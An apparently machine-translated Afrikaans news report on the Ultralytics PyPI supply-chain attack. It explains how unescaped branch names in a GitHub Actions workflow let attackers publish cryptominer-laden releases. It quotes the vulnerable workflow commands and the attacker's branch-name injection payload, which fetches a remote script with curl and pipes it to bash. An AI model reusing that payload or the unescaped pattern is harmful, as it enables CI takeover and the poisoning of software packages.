'n Fout in die GitHub Actions-hanteerder het gelei tot die publikasie van kwaadwillige Ultralytics-vrystellings

Die aanvallers kon kode uitvoer met GitHub Actions-hanteerderregte in die Ultralytics Python-biblioteekbewaarplek, wat gebruik word om rekenaarvisieprobleme op te los soos om voorwerpe in beelde op te spoor en beelde te segmenteer. Nadat hulle toegang tot die bewaarplek gekry het, het die aanvallers verskeie nuwe Ultralytics-vrystellings in die PyPI-gids gepubliseer, wat kwaadwillige veranderinge vir kriptokurrency-mynbou insluit. Die afgelope maand is die Ultralytics-biblioteek meer as 6.4 miljoen keer van die PyPI-katalogus afgelaai.

Om die bewaarplek te kompromitteer, is 'n kwesbaarheid in die ultralytics-actions-pakket gebruik, wat gebruik word om hanteerders outomaties te begin wanneer sekere aksies op 'n bewaarplek op GitHub uitgevoer word deur die GitHub Actions-meganisme te gebruik. In die ultralytics-projek was die kwesbare hanteerder gebind aan die pull_request_target-gebeurtenis en is geroep toe nuwe trekversoeke aangekom het. In die besonder, om die kode in die gestuurde trekversoeke te formateer, is die format.yml-hanteerder opgeroep en die kode gespesifiseer in die "run"-afdeling van die action.yml-lêer is uitgevoer, wat dopopdragte met substitusiepatrone bevat het: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Die naam van die Git-tak wat in die trekversoek genoem word, is dus in dopopdragte vervang sonder om behoorlik te ontsnap. Dit is opmerklik dat die ultralytics-actions-pakket in Augustus reeds 'n soortgelyke kwesbaarheid reggestel het wat verband hou met die gebruik van 'n eksterne waarde in die eggo-funksie: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Om die uitvoering van hul kode in die konteks van die GitHub Actions-hanteerder te organiseer, het die aanvallers 'n trekversoek na die ultralytics-bewaarplek gestuur, wat die volgende as die taknaam spesifiseer: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Gevolglik, toe 'n trekversoek ontvang is, is die aanvaller-gespesifiseerde string "$(...)" in die kode ingevoeg, wat, toe die hanteerder daarna geloods is, gelei het tot die uitvoering van die kode "curl -sSfL raw.githubusercontent. com/…/file.sh | bash".

 'n Fout in die GitHub Actions-hanteerder het gelei tot die publikasie van kwaadwillige Ultralytics-vrystellings

Lopende kode in die konteks van GitHub Actions kan gebruik word om bewaarplektoegangtoken en ander sensitiewe data vas te lê. Hoe presies die aanvallers daarin geslaag het om 'n vrystelling te genereer, met die vermoë om hul kode in GitHub Actions uit te voer, is nog nie duidelik nie, word aanvaar dat dit moontlik geword het as gevolg van 'n verandering in die publish.yml hanteerder (die aanvallers het verifikasie van die; rekening wat toegelaat word om vrystellings in PyPI te publiseer) en die gebruik van tegnologie wat die GitHub Actions-boukas vergiftig om jou data in die vrystelling in te voeg.

Die eerste kwaadwillige vrystelling van Ultralytics 8.3.41 is op 4 Desember om 23:51 (MSK) deur die aanvallers op PyPI gepubliseer en die volgende dag om 12:15 verwyder. Om 15:47 is 'n ander vrystelling, 8.3.42, geplaas en om 16:47 verwyder. Dus was die kwaadwillige weergawes vir 'n totaal van ongeveer 13 uur beskikbaar vir aflaai (PyPI teken ongeveer 250 000 aflaaie van die ultralytics-biblioteek per dag aan). Vrystellings 8.3.41 en 8.3.42 het kode bevat wat van 'n eksterne ... afgelaai is. bediener XMRig-komponent vir kriptogeldeenheid-ontginning.

Die projekontwikkelaars het die probleem opgelos en regstellende vrystellings 8.3.43 en 8.3.44 geskep, maar twee dae later is nog 'n aanval uitgevoer, waartydens die aanvallers vandag om 04:41 en 05:27 (MSK) twee addisionele kwaadwillige vrystellings gepubliseer het - 8.3.45 en 8.3.46, wat ander mynkode insluit. Gebruikers word aangeraai om tot die einde van die ondersoek te wag om nuwe weergawes te installeer en vrystelling 8.3.44 as afhanklikhede reg te stel.

Bron: opennet.ru

Voeg 'n opmerking